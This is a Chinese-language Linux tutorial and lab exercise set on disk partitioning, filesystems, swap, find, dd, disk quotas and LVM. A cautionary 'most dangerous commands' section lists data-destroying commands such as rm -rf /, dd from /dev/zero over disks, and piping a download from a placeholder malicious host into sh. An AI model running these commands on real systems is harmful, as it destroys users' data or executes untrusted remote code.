linux本地存储管理及磁盘分区

本地存储管理

学习目标

  • 分区工具
    • 使用 fdisk/cfdisk 管理 MBR 分区
    • 使用 **gdisk**/cgdisk 管理 GPT 分区
    • 使用 parted 管理 MBR/GPT 分区
    • 使用 partx/kpartx 通知内核强制重读磁盘分区表
  • 文件系统管理
    • 使用 mkfs.{ext4,xfs} 创建文件系统
    • 使用 mount/umount 挂装/卸装 文件系统
    • 使用 fuser 终止所有正在访问某挂载点的进程
    • 使用 blkid 命令显示文件系统的 卷标/UUID
    • 修改 /etc/fstab 在系统启动时挂装文件系统
    • 使用 mkswapswapon/swapoff 管理交换空间
    • 使用 fsck/xfs_repair 检查和修复文件系统
  • 磁盘/文件系统常用工具
    • dddfdu
    • find
  • 磁盘限额
    • 使用 setquotaedquota 配置 ext3/4 文件系统的磁盘限额
    • 使用 xfs_quota 配置 xfs 文件系统的磁盘限额
  • 逻辑卷管理
    • 使用 {pv,vg,lv}create 创建 物理卷/卷组/逻辑卷
    • 使用 {pv,vg,lv}{s,display} 查看 物理卷/卷组/逻辑卷
    • 使用 {vg,lv}{extend,reduce} 扩展和收缩 卷组/逻辑卷
    • 使用 resize2fs 扩展和收缩 ext 文件系统
    • 使用 xfs_growfs 扩展 xfs 文件系统

任务1:磁盘分区

  • 为虚拟机添加一块 20G 大小的硬盘
  • 为磁盘设置 GPT 分区表
  • 添加 3 个分区,分别为
    • 5G, Linux 分区类型
    • 3G, Linux 分区类型
    • 1G,swap 分区类型
  • 在不重启系统的前提下,让 Linux 内核重新读取新硬盘的分区表
参考
  • https://wiki.archlinux.org/index.php/Partitioning
  • https://wiki.archlinux.org/index.php/Fdisk

任务2:创建和 挂装/卸装 文件系统

  • 在大小为 5G 的分区上创建 xfs 文件系统
  • 在大小为 3G 的分区上创建 ext4 文件系统
  • 创建两个文件系统挂装点 /mnt/{xfs,ext4}
  • 将大小为 5G 的文件系统手动挂装到 /mnt/xfs
  • 将大小为 3G 的文件系统手动挂装到 /mnt/ext4
  • 检查文件系统的挂装情况
  • 复制 /usr 整个目录的内容到 /mnt/xfs
  • 进入 /mnt/ext4 目录,将 /etc 整个目录的内容复制到当前目录
  • 使用 fuser 命令分别查看两个挂装点目录下有无进行在运行
  • 分别手动卸装 /mnt/{xfs,ext4}

任务3:交换空间

  • 交换分区
    • 在大小为 1G 的分区上创建 swap 空间
    • 查看当前 swap 空间大小
    • 激活大小为 1G 的 swap 空间
    • 查看当前 swap 空间大小
    • 去激活大小为 1G 的 swap 空间
    • 查看当前 swap 空间大小
  • 交换文件
    • 创建一个大小为 512M 的交换文件
    • 为此交换文件创建 swap 空间
    • 查看当前 swap 空间大小
    • 激活交换文件上的 swap 空间
    • 查看当前 swap 空间大小
    • 去激活交换文件上的 swap 空间
    • 查看当前 swap 空间大小

任务4:配置系统启动时挂装

  • 将大小为 5G 的 xfs 文件系统挂装到 /data(使用文件系统UUID)
  • 将大小为 3G 的 ext4 文件系统挂装到 /srv
  • 激活大小为 1G 的交换分区
  • 模拟系统启动,检查文件系统和交换分区的挂装情况

任务5:挂装 iso 文件

  • 下载一个 iso 文件
    wget -c http://www.tinycorelinux.net/8.x/x86/release/Core-current.iso
  • 创建 /mnt/iso 挂装点
  • 将 iso 文件只读挂装到 /mnt/iso
  • 显示挂装点目录的内容
  • 解除挂装

任务6:使用 dd 命令将 iso 文件的内容写入U盘

提示 本任务使用虚拟块设备模拟了一个 16M 大小的 U盘

  • 准备 loop 设备
    # dd if=/dev/zero of=/tmp/vdisk1.dd bs=1M count=16
    # losetup -fP /tmp/vdisk1.dd
    # losetup -a
    /dev/loop0: [64768]:4221244 (/tmp/vdisk1.dd)
    # lsblk -io NAME,TYPE,SIZE,MOUNTPOINT,FSTYPE,MODEL| egrep ‘loop|^NAME’
  • 准备 iso 文件
    # wget http://www.tinycorelinux.net/8.x/x86/release/Core-current.iso
  • 将 iso 文件的内容写入虚拟块设备
    # dd if=Core-current.iso of=/dev/loop0
    # lsblk -io NAME,TYPE,SIZE,MOUNTPOINT,FSTYPE,MODEL| egrep ‘loop|^NAME’
  • 检查写入的虚拟块设备(U盘)内容
    • 将虚拟块设备 挂装到 /mnt/iso
    • 显示挂装点内容
    • 解除挂装

任务7:文件系统检查和修复

**对挂装点 /data 和 /srv 分别进行如下操作

  • 手动卸装文件系统
  • 检查文件系统
  • 向挂装点对应的分区里写入连续随机数据,模拟分区损坏
    • 越过 100 块,像设备写入 10 块(每块 512 字节)数据
  • 检查文件系统
  • 修复文件系统
  • 重新挂装文件系统,并查看分区中的原有数据

任务8:df 和 du 命令

  • 显示 /etc 目录中每个文件的磁盘占用
  • 显示 /etc 目录总共占用了多少
  • 显示 xfs 和 ext4 文件系统的剩余空间
  • 显示除了 tmpfs 之外,所有文件系统的剩余空间,并按照使用率降序输出

任务9: find 命令

  • 查找 /var 目录下属主为root,且属组不为 root 的所有文件或目录
  • 查找 /var 目录下属主为root,且属组不为 root 的所有常规文件
  • 查找 /bin /sbin 目录下所有 设置了 SUID 或 SGID 的文件
  • 查找 /etc 目录下最近一周内修改过其内容且大小小于 2k 的文件
  • 查找当前系统上没有属或属组,且最近一周内曾被访问过的文件或目录
  • 查找 /etc 目录下所有用户都没有写权限的文件
  • 查找 /etc 目录下至少有一类用户没有执行权限的文件
  • 删除 /tmp/test 目录下 30 天前 60 天内修改的文件
  • 删除 /tmp/test 目录下 30 天前修改的文件
  • 复制 两周之前早 9:00 到两月之前 19:00 点之间修改的文件 到 /backup/1目录下

提示 可以使用如下脚本在 /tmp/test 目录下先随机生成 200 个 100 天以内的文件,再使用 find 命令按时间戳查找和删除

#!/bin/bash
[ -d "/tmp/test" ] || mkdir /tmp/test
for d in $(shuf -i $(date +%s -d '-100 days')-$(date +%s) -n 200)
do 
   time=$(date -d "@$d" +%F)
   touch -d "$time" /tmp/test/file_$time
done

任务10:创建基于新硬盘上的卷组和逻辑卷

  1. 为逻辑卷准备新的分区
  • 为虚拟机添加第3块 10G 大小的新硬盘(/dev/sdc)
  • 为磁盘设置 GPT 分区表
  • 使用全部空间添加 1 个分区,类型为 8e00
  • 在不重启系统的前提下,让 Linux 内核重新读取新硬盘的分区表
  1. 管理LVM
  • 在新建的分区上创建物理卷
  • 基于此物理卷创建名为 db 的逻辑卷
  • 在 db 卷组中创建名为 mysql 的逻辑卷,大小使用全部FREE
  1. 管理基于 LVM 上的文件系统
  • 对名为 mysql 的逻辑卷创建 ext4 文件系统
  • 创建挂装点目录 /var/lib/mysql
  • 修改 /etc/fstab 设置对此逻辑卷的启动时挂载
  • 重新挂在 /etc/fstab 中的文件系统,检查挂装情况

任务11:扩展现有的卷组和逻辑卷

  1. 为系统中已经存在的 home 逻辑卷准备新的分区
  • 在第2块硬盘(/dev/sdb)上,使用全部剩余空间添加 1 个分区,类型为 8e00
  • 重启系统,使得 Linux 内核重新读取硬盘的新分区表
  1. 管理LVM
  • 在新建的分区上创建物理卷
  • 将此物理卷扩展到 home 逻辑卷所在的卷组中
  • 扩展名为 home 的逻辑卷,大小为 8G
  1. 扩展逻辑卷上的 xfs 文件系统
  2. 若安装 CentOS 时没有使用硬盘的所有空间,请将剩余的所有空间加到 / 文件系统所在的卷组中

任务12:缩减逻辑卷

  1. 解除对 mysql 逻辑卷 的挂装
  2. 强行检查 mysql 逻辑卷上的 ext4 文件系统
  3. 将 mysql 逻辑卷缩减至原始大小的 50%
  4. 缩减 mysql 逻辑卷上的 ext4 文件系统使之适应逻辑卷的新大小
  5. 重新挂装 mysql 逻辑卷
  6. 检查 mysql 逻辑卷上文件系统的大小

任务13*:逻辑卷快照

  1. 在 mysql 逻辑卷的挂装点目录里创建一个测试文件,如:
    lvs > /var/lib/mysql/test
    cat /var/lib/mysql/test
  2. 对 mysql 逻辑卷创建名为 mysql_snap 的只读快照卷,大小为 1G
  3. 将快照卷 mysql_snap 挂装到 /lvmsnap/mysql 目录
  4. 在 mysql 逻辑卷的挂装点目录里修改测试文件,如:
    (lvs ;vgs) > /var/lib/mysql/test
    cat /var/lib/mysql/test
  5. 验正快照卷的功能,如
    cat /lvmsnap/mysql/test
  6. 将快照卷里的内容备份到 /backup/mysql
  7. 解除对快照卷的挂装
  8. 删除快照卷 mysql_snap
  9. 删除 mysql 卷上的测试数据

#####参考

  • Linux LVM 简明教程

任务14: 在 ext4 文件系统上配置用户的磁盘限额

** 要求:**

  • 创建用户、组并设置其成员
    • 创建用户 fanny 和 ann
    • 创建组 webs 和 apps
    • 分别将 fanny 和 ann 加入组 webs 和 apps
  • 对挂装在 /srv 目录上的 ext4 文件系统设置用户配额
    • 创建 fanny 用户并设置其为 webs 组的成员
    • 为用户 fanny 设置容量软限制 400M、容量硬限制 500M 的块配额
    • 为用户 fanny 设置文件数软限制 2000、文件数硬限制 2500 的 inode 配额
    • 创建新用户 ann,并以 fanny 用户为参考用户设置其用户的磁盘配额
  • 对挂装在 /srv 目录上的文件系统设置组配额
    • 为组 webs 设置容量软限制 1G、容量硬限制 2G 的块配额
    • 为组 webs 设置文件数软限制 20000、文件数硬限制 25000 的 inode 配额
    • 创建新组 apps,并以 webs 组为参考组设置 apps 组的磁盘配额
  • 检查配额
    • 查看磁盘限额报告
    • 查看 fanny 的用户配额
    • 查看 apps 的组配额

任务15: 在 xfs 文件系统上配置用户的磁盘限额

** 要求:**

  • 对挂装在 /data 目录上的 xfs 文件系统设置用户配额
    • 创建 fanny 用户并设置其为 webs 组的成员
    • 为用户 fanny 设置容量软限制 400M、容量硬限制 500M 的块配额
    • 为用户 fanny 设置文件数软限制 2000、文件数硬限制 2500 的 inode 配额
    • 创建新用户 ann,并以 fanny 用户为参考用户设置其用户的磁盘配额
  • 对挂装在 /data 目录上的 xfs 文件系统设置组配额
    • 为组 webs 设置容量软限制 1G、容量硬限制 2G 的块配额
    • 为组 webs 设置文件数软限制 20000、文件数硬限制 25000 的 inode 配额
    • 创建新组 apps,并以 webs 组为参考组设置 apps 组的磁盘配额
  • 检查配额
    • 查看磁盘限额报告
    • 查看 fanny 的用户配额
    • 查看 apps 的组配额
      磁盘分区

分区工具

  • fdisk - MBR
  • gdisk - GPT
  • parted - MBR/GPT

partx/kpartx:让内核重新读取分区表

CH04U02 - 文件系统管理

ext4/xfs

  • 创建文件系统
    • mkfs.ext4
    • mkfs.xfs
  • 检查文件系统
    • fsck.ext4 [-f]
    • xfs_repair -n
  • 修复文件系统
    • fsck.ext4 -ay
    • xfs_repair

swap

  • 创建
    • mkswap
  • 激活
    • swapon
  • 去激活
    • swapoff

挂装/卸装 文件系统

  • 手动
    • mount
    • umountfuser
  • 启动时
    • vim /etc/fstab
    • mount -a

CH04U03 - 常用工具

显示磁盘/文件系统信息

  • mount / findmnt
  • lsblk
  • blkid
  • df
  • du

文件查找工具

  • locate
    • 依赖于事先创建好的索引数据库 ( mlocate.db )完成文件查找
      • 系统每日自动创建( 由 cron 任务实现 )
      • 更新索引数据库( updatedb
      • 配置文件 – /etc/updatedb.conf
    • 非实时查找、查找速度快、模糊查找
  • find
    • 通过遍历指定起始路径下文件系统完成文件查找
    • 实时查找、查找速度略慢、精确查找

find 简介

  find [dir1 dir2 ...] [查找条件]  [处理动作]
  • 在实时环境里搜索目录树
    • 比 locate命令慢,但比它更准确
    • 如果没有给定起始目录,就会使用CWD(当前所在目录)
    • 如果没有给定条件,就会匹配所有文件
  • 可以对找到的文件执行命令
  • 可以只搜索用户具备读取和执行权限的目录

find – 按名搜索

  • GLOB类(可使用文件通配符)
    • -name NAME: 按文件名搜索
    • -iname NAME: (不区分大小写)
  • RE类(使用正则表达式)
    • -regex: 使用正则表达式搜索文件,匹配是整个路径而非其名
    • -iregex: (不区分大小写)
    • 可使用 -regextype TYPE 指定正则表达式类型
      • emacs (默认)
      • posix-basic / posix-egrep / posix-extended / posix-awk
  • 举例
    find -name snow.png
    find -iname snow.png
    find -name s*.png
    find -iname [a-z]now.png
    find -regex [a-z]?..png
    find -iregex [a-z]?.
    .png

find – 按 属主/属组 查找

    • -user USERNAME:查找属主是 USERNAME 的所有文件
    • -group GRPNAME:查找属组是 GRPNAME 的所有文件
  • ID
    • -uid UID:查找属主是 UID 的所有文件
    • -gid GID:查找属组是 GID 的所有文件
  • “孤儿”
    • -nouser:查找没有属主的文件
    • -nogroup:查找没有属组的文件

find – 使用逻辑运算组合搜索条件

  • 搜索条件默认使用逻辑与(-a)连接
    • find -user joe -group joe
    • 搜索属主和属组均为 joe 的文件
  • 使用 -o 实现逻辑或
    • find / -user joe -o -uid 2000
  • 使用 -not 或 !实现逻辑非
    • find ! -user joe
    • find -not -user joe
  • 可以使用括号来决定逻辑运算的顺序,但是必须使用 bash 的转义符。
    • find -user joe ! -group joe
    • find -user joe -o -user jane
    • find -not \( -user joe -o -user jane \)
  • 德·摩根定律

find – 按权限查找

  • find -perm [/|-]MODE
    • 可以八进制或符号式权限模式
  • 精确匹配
    • find -perm 755 匹配权限模式恰好是755的文件
    • find -perm g=w 匹配权限模式恰好是020的文件
  • [/|-]
    • 只要 UGO 中任何一类人有写权限,find -perm /222 就会匹配
    • 只有 UGO 中所有一类人都有写权限时,find -perm -222 才会匹配
    • 只有当其它人(Other)有写权限时,find -perm -002 才会匹配

find – 按文件大小查找

  • 许多 find 条件都接受数值做为参数
    • N 表示等于N
    • -N 表示小于N
    • +N 表示大于N
  • find -size 按文件大小查找
    • find -size 10M
    • find -size +10M
    • find -size -10M

find – 按文件的类型查找

  • -type TYPE
    • f : 普通文件
    • d : 目录文件
    • l :符号链接文件
    • b :块设备文件
    • c :字符设备文件
    • p :管道文件
    • s :套接字文件

find – 按时间戳查找

  • 可以根据文件 inode 时间戳来进行匹配
  • 以“24h”为单位
    • -atime:文件最后一次被读取
    • -mtime:文件数据最后一次被改变
    • -ctime:文件数据或元数据最后一次被改变
  • 以“分钟”为单位
    • -amin
    • -mmin
    • -cmin
  • 指定时间的计算方式
    • -daystart:从一天的 0 点算起,而非当前时间

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UwxfUOdq-1689726997975)(/assets/figs/find-mtime.png)]

find – 按时间戳查找实例

  • 查找 30 天前修改的文件
    • find -ctime +30
  • 查找过去的 30 分钟内修改过的文件
    • find -cmin -30
  • 查找在20前50天内修改过内容的文件
    • find -mtime +20 -mtime -50 -type f

find – 按时间戳查找(续)

  • 可以根据参考文件 inode 的时间戳进行比较
    • -newer FILE
    • -anewer FILE
    • -cnewer FILE
  • 可以根据指定的时间字符串进行比较
    • -newermt TIME
    • -newerat TIME
    • -newerct TIME
  • 举例
    • find -newermt '2017-11-11 11:11'
      • 查找比指定修改时间新的所有文件
    • find ! -newermt '2017-12-12 12:12'
      • 查找比指定修改时间旧的所有文件
    • find ! -newermt '2017-12-12 12:12' -newermt '2017-11-11 11:11'
      • 查找指定的两个时间点之间的所有文件

提示: TIME 可以通过 date 命令替换获得

  • date -d '-3 days' +'%F %T' — ( 2017-11-11 11:11:11 )
  • date -d '-3 days' +'%F %R' — ( 2017-11-11 11:11 )
  • date -d '-3 days' +'%F' — ( 2017-11-11 )

find – 对查找结果执行命令

  • 要执行的命令前需加 -exec-ok 选项
    • -exec:直接执行
    • -ok:在对每个查找到文件执行命令前提示
    • 命令必须以 空格\分号( \;)结尾
    • {} 可以用做查找到的文件名的位置标识符
  • 不使用 -exec-ok 选项
    • find | xargs COMMAND
    • 避免 COMMAND 不能接受过长的参数

find – 对查找结果执行命令实例

  • find -size +100M -ok gzip {} \;
    • 使用 gzip 压缩所有大于 100M 的文件
  • find -name “*.conf” -exec cp {} {}.orig \;
    • 备份配置文件,添加 .orig 扩展名
  • find /tmp -ctime +3 -user joe -ok rm {} \;
    • 提示删除存在时间超过3天以上的joe的临时文件
  • find ~ -perm /o+w -exec chmod o-w {} \;
    • 在用户主目录中寻找并去除可被其它用户写入的所有文件
  • find . -type f | xargs ls -lS | head -n 5
    • 找出当前目录(包含子目录)下最大的5个文件

dd 命令

  • 克隆硬盘设备
    • dd if=/dev/sda of=/dev/sdb
  • 备份和恢复 MBR
    • 备份 MBR
      • dd if=/dev/sdX of=/path/to/mbr_file.img bs=512 count=1
    • 恢复 MBR(危险操作)
      • dd if=/path/to/mbr_file.img of=/dev/sdX bs=512 count=1
    • 仅恢复 Boot Loader(危险操作)
      • dd if=/path/to/mbr_file.img of=/dev/sdX bs=446 count=1
    • 仅恢复MBR分区表(危险操作)
      • dd if=/path/to/mbr_file.img of=/dev/sdX bs=1 skip=446 count=64

最危险的命令总结

1、慎用递归删除(rm -rf)

rm -rf .
rm -rf *
rm -rf /

2、慎用覆盖式输出重定向

> file
someCMD > file

3、慎用字符设备

  • /dev/null
  • /dev/zero
  • /dev/urandom
mv somefile|somedir /dev/null
cp /dev/null somefile|somedir
dd if=/dev/random of=somefile
dd if=/dev/urandom of=/dev/sdbX bs=4k count=10 seek=100
dd if=/dev/zero of=somefile
dd if=/dev/zero of=/dev/sdX bs=446 count=1

4、慎用文件系统 创建/更改尺寸 命令

mkfs -t ext3|ext4|xfs /dev/sda
mkfs -t ext3|ext4|xfs /dev/sda1
resize2fs /dev/sdb1

5、慎用通过管道直接执行 shell 脚本

wget http://malicious_source -O- | sh
curl http://malicious_source -O- | sh

CH04U04 - 磁盘限额

CH04U05 - LVM

什么是逻辑卷管理器(LVM)?

  • 允许对卷进行方便操作的抽象层,包括重新设定文件系统的大小
  • 允许在多个物理设备间重新组织文件系统
    • 将设备指定为物理卷
    • 用一个或者多个物理卷来创建一个卷组
    • 物理卷是用固定大小的物理区域(Physical Extent,PE)来定义的
    • 在物理卷上创建的逻辑卷是由物理区域(PE)组成的
    • 可以在逻辑卷上创建文件系统

创建逻辑卷

  • 创建物理卷
    pvcreate /dev/sda3
  • 为卷组分配物理卷
    vgcreate vg0 /dev/sda3
  • 从卷组创建逻辑卷
    lvcreate -L 256M -n data vg0
    mkfs.ext4 /dev/vg0/data

重新设定逻辑卷的大小

  • 增加逻辑卷的大小
    • lvextend - 可增大逻辑卷
    • resize2fs - 可在线增大 EXT3/4 文件系统
    • xps_growfs - 可在线增大 XFS 文件系统
  • 缩减逻辑卷的大小
    • 不可在线执行 (umount)
    • 强制检查文件系统 (e2fsck -f)
    • 缩减文件系统 (resize2fs)
    • 缩减逻辑卷 (lvreduce)
  • 增加/减小卷组
    • vgextend 在已有卷组中添加新的物理卷
    • 用下面的方法可减小卷组:
      pvmove /dev/sda3
      vgreduce vg0 /dev/sda3

你可能感兴趣的:(linux,linux,android,缓存)